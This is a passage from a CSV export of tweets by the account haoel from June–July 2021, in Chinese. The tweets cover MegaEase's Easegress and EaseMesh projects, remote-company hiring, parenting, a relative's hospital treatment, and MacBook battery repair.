Mesh下Java技术栈的服务治理》。老实说，这个主题分享有点格局小了，应该是《通过Service Mesh可以干哪些牛逼的事》，我保证其中的分享是相当有价值的，一定会让你开眼界的，如果有推友也参加，且对云原生感兴趣的话，千万别错过了…,,https://twitter.com/haoel/status/1420330158234370048\n2894,1420233782708166656,2021-07-28 04:04:55+00:00,79,12,1,,这两天我在写我们产品的企业级解决方案的需求PRD，第一个是灰度发布（如下图），第二个完全无侵入式云原式非hack的全链路压力测试（目前保密），第三个是异地多活。对于这个灰度发布的PRD，在这里公开一下，欢迎给我提建议。相关 issue是： https://t.co/IoNVX6bYGi https://t.co/PSgioa3IfF,\"[TextLink(text='github.com/megaease/easem…', url='https://github.com/megaease/easemesh/issues/52', tcourl='https://t.co/IoNVX6bYGi', indices=(120, 143))]\",https://twitter.com/haoel/status/1420233782708166656\n2895,1420192823828041728,2021-07-28 01:22:09+00:00,356,24,20,,多说两句我怎么给孩子补课的。我给孩子补课，不是我讲，而是反过来，我让孩给我讲课，这样会变成主动学习。而在孩子讲课的过程当中，我不断地提问题，让孩子自己思考，目标是能做到百问不倒。,,https://twitter.com/haoel/status/1420192823828041728\n2896,1420185494097326083,2021-07-28 00:53:02+00:00,1,0,0,,@ihYAAZCl2V5bkRP 我帮孩子补课,,https://twitter.com/haoel/status/1420185494097326083\n2897,1420185279399223302,2021-07-28 00:52:11+00:00,0,0,0,,@Ryou_Zhang 可以,,https://twitter.com/haoel/status/1420185279399223302\n2898,1420044399740809219,2021-07-27 15:32:22+00:00,236,9,9,,第二个事，我们家孩子的数学成绩自二年级以来越来越差，导致孩子非常害怕数学。我说只要你愿意，你能考一百。孩子坚定说绝对不可能……在我强制要求下，给孩子补习训练了一个月。这次期末考试，当孩子看到自己的数学试卷上的100分的时候，激动哭了……相信孩子以后再也不会轻易觉得自己不行了……2/2,,https://twitter.com/haoel/status/1420044399740809219\n2899,1420044397534539776,2021-07-27 15:32:22+00:00,227,31,12,,\"过去一年，我教会了孩子我觉得可以让她受用终身的两个事。\n\n一个是我指出了他们英语教科书里面的错误（如下所示），并且公开在班级群里向英语老师指出错误，并努力劝服老师给全班同学说明教科书错误，以及正确的用法。从那天以后，我们家的孩子开始明白了一个道理一一教科书和老师并不都是对的……1/2\",,https://twitter.com/haoel/status/1420044397534539776\n2900,1419967526461534211,2021-07-27 10:26:54+00:00,45,3,1,,同时支持多个灰度发布还是有一些规则需要考虑一下的，我们准备支持多个灰度发布同时发，这里有个 EaseMesh的 PR，有兴趣的同学可以一起来review和讨论。https://t.co/IoNVX6bYGi https://t.co/pXhLMNnxfK,\"[TextLink(text='github.com/megaease/easem…', url='https://github.com/megaease/easemesh/issues/52', tcourl='https://t.co/IoNVX6bYGi', indices=(80, 103))]\",https://twitter.com/haoel/status/1419967526461534211\n2901,1419958832436969474,2021-07-27 09:52:21+00:00,0,0,0,,@thinkThreshold 怎么个欺负法……,,https://twitter.com/haoel/status/1419958832436969474\n2902,1419951738551898118,2021-07-27 09:24:10+00:00,49,5,5,,前些天Zoom官方说不再续约，原因是检测到我的帐号在国内，不能提供服务。因为帐号内有团队成员，定制会议号及录制，所以，大费周章找人沟通最终未果。昨天，帐号到期了。于是重新注册新号，然后邀请老号加入新号时，老号出现了“退款 + 迁移”对话框，我再把新号的许可证给了老号，问题就完全解决了……,,https://twitter.com/haoel/status/1419951738551898118\n2903,1419949839643598858,2021-07-27 09:16:37+00:00,0,0,0,,@strangeyoung 能有我司小？,,https://twitter.com/haoel/status/1419949839643598858\n2904,1419938940618825732,2021-07-27 08:33:19+00:00,63,11,2,,我们是10/7/5加远程……,,https://twitter.com/haoel/status/1419938940618825732\n2905,1418511978331447312,2021-07-23 10:03:04+00:00,32,3,13,,昆明市这么干过几年，好像今天都还是“全城限左”，于是，车在路上的时间更长了，全城堵成💩……,,https://twitter.com/haoel/status/1418511978331447312\n2906,1418012256172797955,2021-07-22 00:57:21+00:00,51,0,10,,虽然我们很巨大，但是很轻松……无需“你要忍一下”……😜 https://t.co/SdeUoEYBWS,,https://twitter.com/haoel/status/1418012256172797955\n2907,1418009090706472961,2021-07-22 00:44:47+00:00,3,0,0,,@wxtabc 我们很巨大，但是很轻松……无需“你要忍一下”……😜 https://t.co/7aAXAeO6tS,,https://twitter.com/haoel/status/1418009090706472961\n2908,1417286668814491690,2021-07-20 00:54:08+00:00,30,4,10,,还是没看清楚电池鼓包的内在原因,,https://twitter.com/haoel/status/1417286668814491690\n2909,1417118588540833794,2021-07-19 13:46:14+00:00,59,1,4,,我家这猫老喜欢我了，我虐它虐了多少次了，给它洗澡的时候，给它剃毛的时候，给它剪指甲的时候……每次我都把它按着嗷嗷叫，但最后还是要趴在我身边让我撸它…… https://t.co/MSY4LYptA1,,https://twitter.com/haoel/status/1417118588540833794\n2910,1417099439341142021,2021-07-19 12:30:09+00:00,0,0,0,,@heybbaaa 基本没有（看文档）,,https://twitter.com/haoel/status/1417099439341142021\n2911,1417088881501958153,2021-07-19 11:48:12+00:00,85,7,8,,补充一下，有了这个神器后，不但可以一行代码不改就有全套的统一监控，一行代码不改就能做全面的服务治理，而且还可以一行代码不改做秒杀，一行代码不改做灰度发布，一行不改做全链路压力测试……等等,,https://twitter.com/haoel/status/1417088881501958153\n2912,1417062618351562756,2021-07-19 10:03:50+00:00,191,32,2,,与Spring Cloud 完全兼容的Ease Mesh开源（https://t.co/H1Rlsj6atB），其中使用Easegress（https://t.co/YBHst55hbx） 为东西南北的流量调度，使用 EaseAgent （https://t.co/6cDqRqi7aS） 做完整的 Java 应用的观测性。 这个服务网格完全对于Spring Cloud 的应用完无侵入及完全透明，一行代码不改。 https://t.co/Q44qI6S8Yv,\"[TextLink(text='github.com/megaease/easem…', url='https://github.com/megaease/easemesh', tcourl='https://t.co/H1Rlsj6atB', indices=(31, 54)), TextLink(text='github.com/megaease/easeg…', url='https://github.com/megaease/easegress', tcourl='https://t.co/YBHst55hbx', indices=(70, 93)), TextLink(text='github.com/megaease/easea…', url='https://github.com/megaease/easeagent', tcourl='https://t.co/6cDqRqi7aS', indices=(120, 143))]\",https://twitter.com/haoel/status/1417062618351562756\n2913,1416408549631172609,2021-07-17 14:44:48+00:00,0,0,1,,@syh_hopes 开源的和商用的，差别不大，拿去用吧,,https://twitter.com/haoel/status/1416408549631172609\n2914,1416224175841181697,2021-07-17 02:32:10+00:00,0,0,1,,@syh_hopes 商业版和开源版内容不一样。,,https://twitter.com/haoel/status/1416224175841181697\n2915,1416046461200998404,2021-07-16 14:45:59+00:00,18,1,1,,下周我们还要发布完全与Java Spring Cloud 的兼容也是用 Easegress 做的Service Mesh。到那个时候，就可以真正做到东南西北四个方向流量的编排了……,,https://twitter.com/haoel/status/1416046461200998404\n2916,1416044415043325955,2021-07-16 14:37:52+00:00,7,1,1,,更正一下，版本号1.1.0😌,,https://twitter.com/haoel/status/1416044415043325955\n2917,1416038828297445377,2021-07-16 14:15:40+00:00,131,15,5,,我司流量网关1.10版发布了。最重要的功能是支持了WebAssembly Runtime。WASM 的 Typescript 的SDK正在路上，马上就能支持Typescript写相关的插件了。现在的Easegress支持三种扩展：1）需要重新编译的Go filter 机制，2）无需编译的通过WASM的机制，3）外部的FaaS机制。 https://t.co/YBHst55hbx,\"[TextLink(text='github.com/megaease/easeg…', url='https://github.com/megaease/easegress', tcourl='https://t.co/YBHst55hbx', indices=(167, 190))]\",https://twitter.com/haoel/status/1416038828297445377\n2918,1415585264534122498,2021-07-15 08:13:22+00:00,52,1,11,,感觉我越来越老了……,,https://twitter.com/haoel/status/1415585264534122498\n2919,1415323789835964417,2021-07-14 14:54:21+00:00,0,0,0,,@CnHawkOrg 好的,,https://twitter.com/haoel/status/1415323789835964417\n2920,1415317751409778688,2021-07-14 14:30:21+00:00,72,0,6,,这些书我都没看过，都是别人看到转给我……（2/2） https://t.co/ux6RsN3ltT,,https://twitter.com/haoel/status/1415317751409778688\n2921,1415316208664989702,2021-07-14 14:24:14+00:00,189,10,21,,我也不出书，但好多书里都有我……（1/2） https://t.co/GmWlR5kfrc,,https://twitter.com/haoel/status/1415316208664989702\n2922,1414887495246909446,2021-07-13 10:00:40+00:00,156,19,11,,我们有好些乱来的事都会美其名”图省事“，其实，这种”图省事“的方式从来都不会省事，这种”图省事“干出来的事一般都是在给团队和别人挖坑搞事。真正能省事的事都要是要花精力的……,,https://twitter.com/haoel/status/1414887495246909446\n2923,1414812351832854537,2021-07-13 05:02:05+00:00,128,30,4,,《如何做一个有质量的技术分享》https://t.co/pyR9nFjWpY,\"[TextLink(text='coolshell.cn/articles/21589…', url='https://coolshell.cn/articles/21589.html', tcourl='https://t.co/pyR9nFjWpY', indices=(15, 38))]\",https://twitter.com/haoel/status/1414812351832854537\n2924,1414401281574117377,2021-07-12 01:48:38+00:00,1,0,1,,@tinyfool 🤣,,https://twitter.com/haoel/status/1414401281574117377\n2925,1414396244055642115,2021-07-12 01:28:37+00:00,123,8,17,,发现macOS上网络里Windows网络协议的图标是Windows 蓝屏…… https://t.co/fltVFlFEwo,,https://twitter.com/haoel/status/1414396244055642115\n2926,1414375664325730312,2021-07-12 00:06:50+00:00,1,0,0,,@fanweixiao 结婚证丢了，要补办一下🤪🤪,,https://twitter.com/haoel/status/1414375664325730312\n2927,1414048600779214855,2021-07-11 02:27:12+00:00,171,17,27,,经典的漂浮效果，感觉回到了二十年前……怀旧杀 https://t.co/pxGEj3W3Ia,,https://twitter.com/haoel/status/1414048600779214855\n2928,1413349261408759810,2021-07-09 04:08:17+00:00,0,0,0,,@sun76790508 https://t.co/d3OO3T4YQv,\"[TextLink(text='twitter.com/haoel/status/1…', url='https://twitter.com/haoel/status/1394224788814516230', tcourl='https://t.co/d3OO3T4YQv', indices=(13, 36))]\",https://twitter.com/haoel/status/1413349261408759810\n2929,1413346751105232901,2021-07-09 03:58:18+00:00,5,0,2,,@Christo24717475 1）项目型，2）加班型，3）要了解大中型金融项目，但是要用PHP做金融业务……🐶👽,,https://twitter.com/haoel/status/1413346751105232901\n2930,1413152036623843328,2021-07-08 15:04:35+00:00,37,0,2,,@File_helper 任我怎么解释，对方都不理我了……😂😂,,https://twitter.com/haoel/status/1413152036623843328\n2931,1413150601974673418,2021-07-08 14:58:53+00:00,263,13,29,,今天干了件极其尴尬的事。我一般会找个时间集中回复微信，所以集中回复的时候，会导致同时和很多人聊……有个朋友转发了他们公司的JD给我，让我帮推荐些程序员……因为同时与很多人聊天，导致我没有认真看他的留言，以为他问我这个职位怎么样？于是回复到：“从这职位就可以看出这公司不行，别去！”……,,https://twitter.com/haoel/status/1413150601974673418\n2932,1413064316257931266,2021-07-08 09:16:01+00:00,181,12,13,,准备用英文写五篇技术文章来介绍一下我们MegaEase几个的产品，发往全球。敬请期待！ https://t.co/gAqh5qQCri,,https://twitter.com/haoel/status/1413064316257931266\n2933,1411919024221409281,2021-07-05 05:25:02+00:00,19,0,5,,这是为了与骗子的网站有区别，让大众有更好的识别度……,,https://twitter.com/haoel/status/1411919024221409281\n2934,1411915383947231233,2021-07-05 05:10:34+00:00,0,0,0,,@shell909090 @lilyval15187063 +1,,https://twitter.com/haoel/status/1411915383947231233\n2935,1411374576609599493,2021-07-03 17:21:35+00:00,36,1,3,,把 https://t.co/VQAL5HczZX 放到 cloudflare 后面去了。,\"[TextLink(text='coolshell.cn', url='http://coolshell.cn', tcourl='https://t.co/VQAL5HczZX', indices=(2, 25))]\",https://twitter.com/haoel/status/1411374576609599493\n2936,1411165636445626368,2021-07-03 03:31:20+00:00,216,37,6,,\"继续我司公开的内部技术分享：\n\n- 袁伟 ：《How to Write a JavaAgent》https://t.co/Jxv5sDHIoY\n\n- 陈皓：《Distributed Lock Manager》https://t.co/aFu2Vn42FI\",\"[TextLink(text='youtu.be/ujhqct2POLU', url='https://youtu.be/ujhqct2POLU', tcourl='https://t.co/Jxv5sDHIoY', indices=(48, 71)), TextLink(text='youtu.be/vFW1U1vimVs', url='https://youtu.be/vFW1U1vimVs', tcourl='https://t.co/aFu2Vn42FI', indices=(104, 127))]\",https://twitter.com/haoel/status/1411165636445626368\n2937,1410759344099000320,2021-07-02 00:36:52+00:00,97,8,26,,注水和排水问题还是有实际案例的一一【南昌暴雨一小区向相邻小区排水遭反制，互相排水】https://t.co/Dahu98udyp 2020年7月9日，江西南昌。连日暴雨致多小区积水，两相邻小区互相用水管对向排水。江铃瓦良格物业称对方先排水，调解无果后才反排水。民警证实情况，称只能对双方调解。,\"[TextLink(text='t.cn/A6y6KUVI', url='http://t.cn/A6y6KUVI', tcourl='https://t.co/Dahu98udyp', indices=(41, 64))]\",https://twitter.com/haoel/status/1410759344099000320\n2938,1410572937866792967,2021-07-01 12:16:10+00:00,0,0,1,,@kevinzhow @wey_gu @waylybaye 分数差距太大……,,https://twitter.com/haoel/status/1410572937866792967\n2939,1410520779247210498,2021-07-01 08:48:54+00:00,0,0,0,,@ZHAO_JINGYAN 不是,,https://twitter.com/haoel/status/1410520779247210498\n2940,1410491709897601025,2021-07-01 06:53:23+00:00,90,5,13,,再补充一下昆明的这家最好的三甲医院有多烂。在给我父亲做的那两次胃镜手术（每次6000多元），他们只接受现金，而且不开发票和任何的凭证……呵呵,,https://twitter.com/haoel/status/1410491709897601025\n2941,1410480187485999104,2021-07-01 06:07:36+00:00,0,0,1,,@Simon030701 夸张吗？这不是好些医院的日常吗？,,https://twitter.com/haoel/status/1410480187485999104\n2942,1410474870618529794,2021-07-01 05:46:29+00:00,0,0,2,,@bldpds @waylybaye 昆明和北京的医生对于同一样病人的评估完全就是两个极端，我并不觉得这种小手术还有什么保守和激进的评谁估……在我看来就是医生能力不行的事，就跟程序员一样，大城市里的程序员和小城市的程序员，技能差距有多大，大家都明白。,,https://twitter.com/haoel/status/1410474870618529794\n2943,1410472086305349632,2021-07-01 05:35:25+00:00,0,0,2,,@bldpds @waylybaye 我觉得不是，这就是因为医生能力不够，还怕承担风险。,,https://twitter.com/haoel/status/1410472086305349632\n2944,1410471692124655623,2021-07-01 05:33:51+00:00,0,0,0,,@bldpds @waylybaye 我不清楚，但是好像肝胆科都是外科吧……,,https://twitter.com/haoel/status/1410471692124655623\n2945,1410468793483075589,2021-07-01 05:22:20+00:00,208,12,27,,\"我把父母接到北京，协和医院正常挂号问诊，没有任何关系，没有给任何红包，北京医生问我这种小手术为什么要来北京做？我无力吐槽。最后医生还是接了，等了一个月床位，入院3天后出院。最终花销是：手术前检查费用1K, 手术费用6K。父亲现在身体很好，能吃能走精力旺盛……(3/3)\",,https://twitter.com/haoel/status/1410468793483075589\n2946,1410468792186982403,2021-07-01 05:22:19+00:00,46,4,3,,我父亲黄胆出的全身深黄色，另一边断食断水2、3周，不成人样，最后医院说要不用胃镜通胆管，在操作中，那个医生通到一半时接电话去了，把我父母晾在那30分钟，导致父亲下颌脱臼，而且一周后检查，还有没有通干净， 再接着来， 这样拆腾了2个月，受尽各种折磨……花费近10万元，差点死在昆明……(2/3),,https://twitter.com/haoel/status/1410468792186982403\n2947,1410468790878363649,2021-07-01 05:22:19+00:00,214,59,30,,给 @waylybaye 分享个亲身经历就医的故事，供参考。2015年初，我父亲胆结石阻塞胆总管，找好关系在昆明最好的医院里虽然没有人敢做这个小手术（胆囊切除+通胆管），只因父亲70多岁且有高血压，手术不做，就来回各种检查，一次全套检查费用1.5W左右，检查了2-3次，检查完了也不敢做手术……（1/3),,https://twitter.com/haoel/status/1410468790878363649\n2948,1410461041956253697,2021-07-01 04:51:32+00:00,7,0,0,,@waylybaye 首先是完成功能，然后才是性能。地方的医院在完成功能方面真的很差。花钱比北京多一个数据量级，而且还看不好。,,https://twitter.com/haoel/status/1410461041956253697\n2949,1410459339773546499,2021-07-01 04:44:46+00:00,0,0,0,,@realhassanhan 可以私信,,https://twitter.com/haoel/status/1410459339773546499\n2950,1410448954076983299,2021-07-01 04:03:30+00:00,145,7,11,,\"看到那么多人留和点赞，我再补充点，他问我几个很赞的问题，1）为什么你们宣传做的这么少？2）你们怎么面对定制化的需求？另外，他还表达了一下，看我们的产品的源码，只有2-3个人在做，没有明确分工，独档一面，他觉得不要太爽。\n\n另，大家有空可以了解一下MIT的课，非常强大的……\",,https://twitter.com/haoel/status/1410448954076983299\n2951,1410389122410180608,2021-07-01 00:05:45+00:00,7,0,1,,@waylybaye 我建议你还是在北京看病。,,https://twitter.com/haoel/status/1410389122410180608\n2952,1410180458126528512,2021-06-30 10:16:35+00:00,0,0,1,,@joneflying 转前端了？,,https://twitter.com/haoel/status/1410180458126528512\n2953,1410129489896513539,2021-06-30 06:54:03+00:00,10,0,0,,@kejoka 首先，要做一个能够配得上人才的公司，如果业绩还不行的话，那就尽可能的把公司文化先配上。,,https://twitter.com/haoel/status/1410129489896513539\n2954,1410127167531278339,2021-06-30 06:44:50+00:00,265,6,15,,我的招聘流程与大多数公司都不一样，在正式开始面试前，会有一个相互了解的环节，我会跟候选人直接电话，互相问对方自己感兴趣的问题，我也会把我这边好和不好的都告诉对方，以及工作要求和难度告诉对方，然后大家思考一下，是否要继续，如果要继续的话，我们就会开始正式面试。跟相亲差不多……😂😜,,https://twitter.com/haoel/status/1410127167531278339\n2955,1410125266513403904,2021-06-30 06:37:17+00:00,45,3,6,,@Numbcoder 哈哈，当然不会，不是面试，我对所有的想来加入我们的人，都会有一个相互了解的过程，把我们好的不好的我都会告诉对方，然后，双方再做个决定是否开启正式面试。,,https://twitter.com/haoel/status/1410125266513403904\n2956,1410123206879449092,2021-06-30 06:29:05+00:00,1355,131,62,,今早跟个想加入我们的小伙聊。他毕业没两年，非计算机专业，去年6月离职在家，这一年来，上网学MIT的计算机课，动手实现Raft、MapReduce框架、TCP协议栈、数据库、xv6操作系统……我说，为什么不去大厂，他说大厂分工太细，沟通复杂，加班严重，实际收益很差……聊了好些，感觉他注定不会是个平庸的人.,,https://twitter.com/haoel/status/1410123206879449092\n2957,1409068952613912581,2021-06-27 08:39:52+00:00,6,0,0,,@laixintao 对了，方便找个时间我们交流交流吗？（语音）,,https://twitter.com/haoel/status/1409068952613912581\n2958,1409067887361359876,2021-06-27 08:35:38+00:00,168,6,2,,微软的工程师来给我们的easegress提支持Windows的PR了 （这2-3周close了30+个PR，开源力量大）https://t.co/dCi5dYin1W,\"[TextLink(text='github.com/megaease/easeg…', url='https://github.com/megaease/easegress/pull/74', tcourl='https://t.co/dCi5dYin1W', indices=(60, 83))]\",https://twitter.com/haoel/status/1409067887361359876\n2959,1409030555648225281,2021-06-27 06:07:17+00:00,0,0,3,,@liuli123325 干什么难度系数高？,,https://twitter.com/haoel/status/1409030555648225281\n2960,1409023594789699588,2021-06-27 05:39:38+00:00,0,0,1,,@liuli123325 锻炼身体，看书，带娃……,,https://twitter.com/haoel/status/1409023594789699588\n2961,1409022994643521539,2021-06-27 05:37:14+00:00,152,35,1,,认真的读一下这组很经典的关于监控和报警的文章，我觉得你能找得到相关的解的（P.S. 找一些公开的reference，可以让我们离民科远一些）https://t.co/qMucZbA5pd,\"[TextLink(text='digitalocean.com/community/tuto…', url='https://www.digitalocean.com/community/tutorial_series/an-introduction-to-infrastructure-and-application-monitoring', tcourl='https://t.co/qMucZbA5pd', indices=(70, 93))]\",https://twitter.com/haoel/status/1409022994643521539\n2962,1408076085456097281,2021-06-24 14:54:34+00:00,4,0,2,,@liuli123325 中年来的不是焦虑而是危机。,,https://twitter.com/haoel/status/1408076085456097281\n2963,1407737343113527299,2021-06-23 16:28:31+00:00,0,0,1,,@senob_ 查了一下，现在京东上还有光驱卖……,,https://twitter.com/haoel/status/1407737343113527299\n2964,1407736590630223876,2021-06-23 16:25:32+00:00,69,0,24,,十五年前刻的光盘…… https://t.co/z6uFLfpFXD,,https://twitter.com/haoel/status/1407736590630223876\n2965,1407353753636773891,2021-06-22 15:04:16+00:00,17,1,24,,Zoom 要终止我的合约了，问一下万推。我用zoom的时候一直在用https://t.co/5j71lrI2AR，为什么说我是大陆用户？我怎么继续使用国际版？不知道在哪儿修改…… https://t.co/as6jWG6YVx,\"[TextLink(text='zoom.us', url='http://zoom.us', tcourl='https://t.co/5j71lrI2AR', indices=(33, 56))]\",https://twitter.com/haoel/status/1407353753636773891\n2966,1407328462382145536,2021-06-22 13:23:46+00:00,24,3,1,,@asypost @File_helper @laike9m 我汉化的这张图，10多年了，还在流传。https://t.co/WGOYfRcGly,\"[TextLink(text='coolshell.cn/articles/2250.…', url='https://coolshell.cn/articles/2250.html', tcourl='https://t.co/WGOYfRcGly', indices=(50, 73))]\",https://twitter.com/haoel/status/1407328462382145536\n2967,1407150639298146307,2021-06-22 01:37:10+00:00,0,0,1,,@yanhan_wuhan 招，reactjs 优先，可以私信简历,,https://twitter.com/haoel/status/1407150639298146307\n2968,1406973799686303746,2021-06-21 13:54:28+00:00,6,2,3,,@one42230366 语言Go / Java，对高并发，监控系统，Spring Cloud，Kubernetes其中之一或全部有经验，喜欢开源，懂分布式技术……,,https://twitter.com/haoel/status/1406973799686303746\n2969,1406972620302475265,2021-06-21 13:49:47+00:00,10,0,0,,@Helixcsio 是的。曾经，我们有员工的父母觉得他的孩子加入了某种类似于传销的骗子公司……,,https://twitter.com/haoel/status/1406972620302475265\n2970,1406969548222263299,2021-06-21 13:37:35+00:00,299,36,25,,我以前就想去37signals/Basecamp远程工作，无奈等了一年都不招人。想了想，人生不能wait，要drive，于是就自己干了家MegaEase ，一家从Day 1就在远程的公司，欢迎有志者加入我们……（ps. 一键部署顶级互联网公司云原生开源软件架构是我们目标）,,https://twitter.com/haoel/status/1406969548222263299\n2971,1406540564825141252,2021-06-20 09:12:57+00:00,78,6,12,,\"应网友需求，明天（2021年6月21日）北京时间晚上20:00点，我会做一个分享：《分布式锁 》，外放80个名额。\"\"DLM - Distributed  Lock Manager\"\" https://t.co/Pqb3LE4QdK https://t.co/rbZ2uDf9tY\",\"[TextLink(text='eventbrite.com/e/dlm-distribu…', url='https://www.eventbrite.com/e/dlm-distributed-lock-manager-tickets-160401002717', tcourl='https://t.co/Pqb3LE4QdK', indices=(91, 114))]\",https://twitter.com/haoel/status/1406540564825141252\n2972,1405868448823975943,2021-06-18 12:42:12+00:00,0,0,0,,@KubeOvn 其实我也不知道具体原因是什么，也许正好命中的需求吧 ，我们的EaseAgent我就吸不来这么多人……,,https://twitter.com/haoel/status/1405868448823975943\n2973,1405866850240454664,2021-06-18 12:35:51+00:00,101,1,17,,终于先于对方（@draven0xff ）说出了这句话……🥳🥳 https://t.co/t3UnlJoRoI,,https://twitter.com/haoel/status/1405866850240454664\n2974,1405726826199085058,2021-06-18 03:19:27+00:00,0,0,0,,@draven0xff 还能再见上面吗？,,https://twitter.com/haoel/status/1405726826199085058\n2975,1405685669230379012,2021-06-18 00:35:54+00:00,47,0,4,,老哥真是我们的真爱粉了，一晚上开了这么多issues... https://t.co/LosmnwK52t,,https://twitter.com/haoel/status/1405685669230379012\n2976,1405482025188876289,2021-06-17 11:06:42+00:00,0,0,0,,@JasmineChen1205 酒精已经不管用了。,,https://twitter.com/haoel/status/1405482025188876289\n2977,1405470548402991111,2021-06-17 10:21:05+00:00,17,2,34,,问一下，我的MBP上的贴纸似乎让“深空灰”褪色了，不知道还能不能修复？（PS，暂不接受用新的贴纸盖上去的方案） https://t.co/ioy0Mrg1Kf,,https://twitter.com/haoel/status/1405470548402991111\n2978,1405466980111425537,2021-06-17 10:06:55+00:00,1,0,1,,@Lee656233622 https://t.co/YJleHRJMmR,\"[TextLink(text='asciiflow.com', url='https://asciiflow.com/', tcourl='https://t.co/YJleHRJMmR', indices=(14, 37))]\",https://twitter.com/haoel/status/1405466980111425537\n2979,1405466965074870275,2021-06-17 10:06:51+00:00,7,0,1,,@hjiale https://t.co/YJleHRJMmR,\"[TextLink(text='asciiflow.com', url='https://asciiflow.com/', tcourl='https://t.co/YJleHRJMmR', indices=(8, 31))]\",https://twitter.com/haoel/status/1405466965074870275\n2980,1405335930471272450,2021-06-17 01:26:10+00:00,3,0,0,,@dallaslu @jagger_yu 找的不错，就是这个。,,https://twitter.com/haoel/status/1405335930471272450\n2981,1405317739724427269,2021-06-17 00:13:53+00:00,1,0,1,,@CanKorrigan 为了翻墙,,https://twitter.com/haoel/status/1405317739724427269\n2982,1405194268734488579,2021-06-16 16:03:15+00:00,0,0,1,,@YongMing98 是24，文档写错了。,,https://twitter.com/haoel/status/1405194268734488579\n2983,1405190852679409666,2021-06-16 15:49:41+00:00,367,42,13,,假期想在AWS中国搭个透明翻墙网关，发现AWS的VPC下的路由表还不能乱指，翻了下文档，发现了“NAT实例”：1）建两个VPC子网，一个公网，一个私网，2）把一个用于做网关的EC2放在公网，加上EIP，路由指向互联网网关，3）把其他的服务器放在私网，路由指向公网EC2网关实例，大功告成！架构看上去还很舒服… https://t.co/WDbJ41nGmi,,https://twitter.com/haoel/status/1405190852679409666\n2984,1405148975129186305,2021-06-16 13:03:16+00:00,87,9,20,,微软越来越 open 了，从下面这个 Windows 11 的桌面图可以看得出来，微软都把整个桌面都换做成 Linux 的了……🐶🐶 https://t.co/VL74ZOfPq9,,https://twitter.com/haoel/status/1405148975129186305\n2985,1405145701001035777,2021-06-16 12:50:16+00:00,6,0,1,,@draven0xff 这么巧吗？,,https://twitter.com/haoel/status/1405145701001035777\n2986,1405083930580160512,2021-06-16 08:44:48+00:00,294,17,62,,2016年，我到给一家公司做技术咨询工作，因为比较喜欢这家公司的工程师，所以，就给他们送了本《代码大全》，结果后来看到他们用来垫显示器，我那个伤心…… https://t.co/A6BgovmZ6q,,https://twitter.com/haoel/status/1405083930580160512\n2987,1404307339088306177,2021-06-14 05:18:55+00:00,282,27,16,,@tinyfool 他们把本来属于你的东西拿走，然后在未来某个时候再还给你，这样就成了恩赐，韭菜们才会感恩戴德……,,https://twitter.com/haoel/status/1404307339088306177\n2988,1404010164856922116,2021-06-13 09:38:03+00:00,13,1,0,,\"@CalvinLV @killedman 对的！Powerlevel9k Theme 。主要参考下面的文章：\n\nhttps://t.co/8Ghi7219nt\",\"[TextLink(text='medium.com/@Clovis_app/co…', url='https://medium.com/@Clovis_app/configuration-of-a-beautiful-efficient-terminal-and-prompt-on-osx-in-7-minutes-827c29391961', tcourl='https://t.co/8Ghi7219nt', indices=(56, 79))]\",https://twitter.com/haoel/status/1404010164856922116\n2989,1403999316872552452,2021-06-13 08:54:56+00:00,369,60,17,,在命令行上如果需要输入多行，可以直接按 Ctrl+X+E，就可以召唤 Vim，编辑完后退出就可以了。 https://t.co/HR2fx1UXd4,,https://twitter.com/haoel/status/1403999316872552452\n2990,1403596652514996224,2021-06-12 06:14:54+00:00,0,0,0,,@huang_java 也许是我记错了。应该是奔吧,,https://twitter.com/haoel/status/1403596652514996224\n2991,1403588192951955459,2021-06-12 05:41:17+00:00,0,0,0,,@iyg429 什么会？,,https://twitter.com/haoel/status/1403588192951955459\n2992,1403587360109961222,2021-06-12 05:37:58+00:00,0,0,1,,@songma 买给老婆的,,https://twitter.com/haoel/status/1403587360109961222\n2993,1403580561839427586,2021-06-12 05:10:57+00:00,2,0,3,,@songma 都已买。但从来都没玩过……,,https://twitter.com/haoel/status/1403580561839427586\n2994,1403580113766141959,2021-06-12 05:09:11+00:00,266,15,66,,\"回顾过去20年，在电脑投入上真是相当的败家。\n\n1998年：奔腾133台式机8000元\n2004年：奔腾三台式机8000元\n2006年：华硕笔记本11000元\n2008年：Thinkpad X61 15000元\n2010年：Thinkpad X201 12000元\n2012年：Thinkpad X220 7000元\n2012年：MBA 7500元\n2018年：MBP 25000元\n2021年：MBA 7700元 https://t.co/zRdAfaCTPV\",,https://twitter.com/haoel/status/1403580113766141959\n2995,1403574477485531136,2021-06-12 04:46:47+00:00,1,0,0,,@smoothdvd 等电脑修完回来，一定试试。,,https://twitter.com/haoel/status/1403574477485531136\n2996,1403573108590596099,2021-06-12 04:41:20+00:00,45,6,16,,苹果的解释是电脑的耗电量比充电线更快。所以我们以为是在接电源的时候用的是电源，而不是电池，然而，实际用的是电池……,,https://twitter.com/haoel/status/1403573108590596099\n2997,1403572248166821889,2021-06-12 04:37:55+00:00,152,22,26,,在苹果店修电脑，苹果官方给出的电池鼓包的解释是一一使用电脑的时候经常使用适配器，于是只有10%的电池在反复不断地被充电，最终导致鼓包。建议一星期至少要一两天放放电，让电池的所有部分都可以得到充电。这样就不会鼓包了。（我平时在家和公司都是用充电线，三年来电池才冲了100多次）,,https://twitter.com/haoel/status/1403572248166821889\n2998,1403241036722315271,2021-06-11 06:41:48+00:00,15,1,3,,iPhone的照片回忆今天给我推荐了下面这组照片。看来，苹果的照片识别又上新台阶了…… https://t.co/cmIFDKqTzl,,https://twitter.com/haoel/status/1403241036722315271\n2999,1402544840517165061,2021-06-09 08:35:22+00:00,1,0,1,,@linuxgnu 你怎么知道？跟这个有关系？,,https://twitter.com/haoel/status/1402544840517165061\n3000,1402471025086849027,2021-06-09 03:42:03+00:00,0,0,0,,@Escaprplan 我有apple care,,https://twitter.com/haoel/status/1402471025086849027\n3001,1402448799604240389,2021-06-09 02:13:44+00:00,0,0,1,,@Escaprplan 有可能是，才三年。要去苹果店看了。,,https://twitter.com/haoel/status/1402448799604240389\n3002,1402447498413674497,2021-06-09 02:08:34+00:00,14,0,5,,对了，我的Apple ID是美区的……,,https://twitter.com/haoel/status/1402447498413674497\n3003,1402447201310101504,2021-06-09 02:07:23+00:00,84,2,20,,Macbook Pro的电池不行了，用手机请求苹果支持，因为我把手机语言是英文，所以Apple Support直接给我预约了一个在菲利宾的讲英文的客服（虽然打入的电话是021-61791000），于是，意外的发现了一个可以免费练英文口语的方式……跟这个菲利宾顺便聊了一下菲利宾那边的疫情情况……😂 https://t.co/p1V1Jyy2LE,,https://twitter.com/haoel/status/1402447201310101504\n3004,1402409101414391814,2021-06-08 